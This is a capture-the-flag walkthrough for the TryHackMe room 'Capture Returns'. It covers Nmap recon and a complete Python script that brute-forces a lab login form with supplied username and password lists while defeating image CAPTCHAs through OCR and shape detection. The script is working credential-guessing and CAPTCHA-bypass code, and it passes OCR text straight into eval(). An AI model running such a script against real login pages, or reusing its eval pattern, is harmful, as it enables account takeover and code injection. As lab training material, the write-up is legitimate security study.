Capture Returns

The developers have improved their login form since last time. Can you bypass it?

Recon

We begin with an Nmap scan and find only two open ports: SSH on port 22 and a web server on port 80. The index page immediately redirects to /login. Additionally, the room provides a zip file containing lists of passwords and usernames, indicating that the task involves brute-forcing with a twist.

┌──(kali㉿kali)-[~]
└─$ nmap -p- capture.thm -T4    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-24 07:15 BST
Stats: 0:02:09 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Nmap scan report for capture.thm (10.10.164.6)
Host is up (0.15s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 90.35 seconds

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 22,80 capture .thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-24 07:34 BST
Failed to resolve "capture".
Failed to resolve ".thm".
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 15.38 seconds

There was a challenge a year ago called "Capture," which involved bypassing a CAPTCHA. The CAPTCHAs were simple, just some text that could be automatically evaluated and answered.

Here is a write up for it's challenge.

We visit the login page and behold, SecureSolaCoders strikes back. It is a continuation of the challenge from back then. Let's see what we're up against this time.

We attempt to log in, but unlike the previous challenge, Capture, we cannot enumerate users in advance. If the credentials are incorrect, we receive the standardized message Error: Invalid username or password.

After several failed login attempts, we finally receive a captcha challenge. This time, instead of text, it's an image, and we need to solve three in a row. The challenge is to determine the shape of an object, and fortunately, we are informed of the total number of possible shapes. After several attempts, we notice that the images are consistent in their type.

However, there is another captcha challenge similar to the previous one, but this time it also involves a picture.

If we look at the source code, we see that the image on the screen is encoded in base64. This means we need to keep in mind that we will retrieve the images from the page as base64 strings and then convert them back into image files for further processing.

Captcha Checker

We can divide our project into three sections:

  1. Image Checker Development:

    • Shape Recognizer: Create a script that identifies the shapes in the captcha images.

    • Text Recognizer: Develop a script to convert text-based captchas from images to text.

    • Combining Recognizers: Integrate the shape and text recognizers into a single image checker.

  2. Brute Force Script:

    • Login Attempt: Write a script that iteratively tests each username and password combination.

    • Captcha Handling: Integrate the image checker to solve captchas when they appear.

    • Integration with Existing Solutions: Incorporate elements from the previous challenge's captcha solution to handle specific scenarios.

  3. Final Assembly:

    • Comprehensive Script: Merge the image checker and brute force script into a cohesive program.

    • Testing and Debugging: Ensure the script works seamlessly by testing

We start by downloading the images and setting up the image checker to run locally. Later, we can incorporate parts of this code into the brute-forcer script or use it directly.

Shape Identifier

With the shape_check.py script, we've successfully implemented shape recognition and converted shapes into text representations. Notably, the mathematical expressions are also interpreted as shapes. In the subsequent script, we'll need to integrate these functionalities together seamlessly.

Math Expression Identifier

With the help of Chat-GPT we can gather initial code templates and understand which libraries are suitable for recognizing formulas and shapes. After experimenting with cv2 and pytesseract, we have few scripts to identify shapes, check the math expression

With the math_check.py script, we've achieved the capability to convert mathematical expressions from an image into text. The subsequent handling of these expressions will follow a similar approach to what was done in the Capture challenge.

Combined Script

Next, we integrate both scripts into a single script. We first check for text recognition and then for shapes, ensuring that we avoid shape detection on the recognized text. This allows us to classify images in our directory and convert them into text that can be evaluated programmatically.

Final Exploit

We begin by intercepting the login request using Burp Suite to capture the requests and responses containing captchas. This interception helps us construct the necessary requests in our scripting process.

When encountering a captcha during the login process, we notice a base64-encoded string in the response. This string indicates whether we need to proceed with a login request. Utilizing our offline image recognition tool as a foundation, our approach involves extracting the image from the response and temporarily saving it on our local machine. This method avoids the need for further modifications to our checker script.

To extract and decode the base64 string, we implement a function that utilizes string splitting. The extracted string is subsequently decoded and saved using with open, maintaining the script's directory structure. We can integrate it directly into the script where needed.

response = requests.post(_url, _data)
base64_string = response.text.split(";base64,")[1].split("\">")[0] if ";base64," in response.text else ""
if base64_string:
    with open("tmp.png", "wb") as fh:
        fh.write(base64.b64decode(base64_string))

Additionally, it's crucial to evaluate our mathematical expressions accurately. Building on our previous work in the challenge capture, we sanitize the detected expressions by removing "=" and "?" characters before passing them to the eval function for computation.

Expanding the brute-force approach is straightforward. We start by reading lists of usernames and passwords, attempting each password for every user. If the response from the server contains base64-encoded content, it indicates that we need to solve captchas. We repeat this process until no captcha images are detected in the response. Rather than attempting three consecutive times and risking failure if the captcha checker malfunctions, we opt for restarting the check from the beginning upon encountering any issues.

Additionally, our script differentiates between scenarios: if the error message "Error: Invalid username or password" does not appear and no captcha is required, we infer successful login. This approach ensures we efficiently manage login attempts and handle captchas as needed.

import cv2
import pytesseract
import requests
import base64
import re
import sys
import time

# Constants
_url = 'http://capture.thm/login'
_path_users_file = 'usernames.txt'
_path_passwords_file = 'passwords.txt'
_captcha_regex = r"[0-9]{1,3}\s[+\-*:\/]\s[0-9]{1,3}"
_error_regex = r"Invalid username or password"

# Function to recognize shape in the image
def recognize_shape(contour):
    vertices = cv2.approxPolyDP(contour, 0.04 * cv2.arcLength(contour, True), True)
    num_vertices = len(vertices)
    if num_vertices == 3:
        return "Triangle"
    elif num_vertices == 4:
        x, y, w, h = cv2.boundingRect(vertices)
        aspectRatio = float(w) / h
        if 0.95 <= aspectRatio <= 1.05:
            return "Square"
        else:
            return "Rectangle"
    elif num_vertices > 4:
        return "Circle"
    return "Unknown"

# Function to process each image and identify the shape or mathematical expression
def process_image(image_path):
    image = cv2.imread(image_path)
    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    _, binary = cv2.threshold(gray, 128, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)
    
    if cv2.countNonZero(binary) > binary.size / 2:
        binary = cv2.bitwise_not(binary)

    text = pytesseract.image_to_string(binary, config='--psm 6')
    if text.strip() != "":
        return text.strip()

    contours, _ = cv2.findContours(binary, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
    if contours:
        largest_contour = max(contours, key=cv2.contourArea)
        shape = recognize_shape(largest_contour)
        return shape

    return "No shape or text detected"

# Function to extract base64 string from response and save as image
def extract_save_base64(response):
    base64_string = re.findall(r'base64,(.*?)\"', response.text)
    if base64_string:
        img_data = base64.b64decode(base64_string[0])
        with open("tmp.png", "wb") as fh:
            fh.write(img_data)
        return True
    return False

# Main loop for brute-forcing
def brute_force_login(users, passwords):
    for username in users:
        for password in passwords:
            _data = {'username': username, 'password': password}
            sys.stdout.write('\r' + username + " : " + password)
            sys.stdout.flush()
            
            response = requests.post(_url, data=_data)
            
            if len(re.findall(_error_regex, response.text)) == 0 and not extract_save_base64(response):
                print('\n\033[92mSuccessfully logged in!\033[0m')
                return True
            
            while extract_save_base64(response):
                result = process_image('tmp.png')
                if result in ['C)', '| |', '/\\']:
                    _data = {'captcha': result.lower()}
                else:
                    clean_string = result.replace('=', '').replace('?', '')
                    eval_calc = eval(clean_string)
                    _data = {'captcha': eval_calc}

                time.sleep(0.200)
                response = requests.post(_url, data=_data)
    
    return False

# Read usernames and passwords from files
with open(_path_users_file) as f_users:
    users = [line.strip() for line in f_users]

with open(_path_passwords_file) as f_passwords:
    passwords = [line.strip() for line in f_passwords]

# Start brute-forcing
if not brute_force_login(users, passwords):
    print("\nLogin failed for all combinations.")

After running for a while, the script will notify us when a successful login occurs. Each instance may require a different set of credentials for logging in after a reset.

We log in with the credentials and we get the flag.

Last updated

Was this helpful?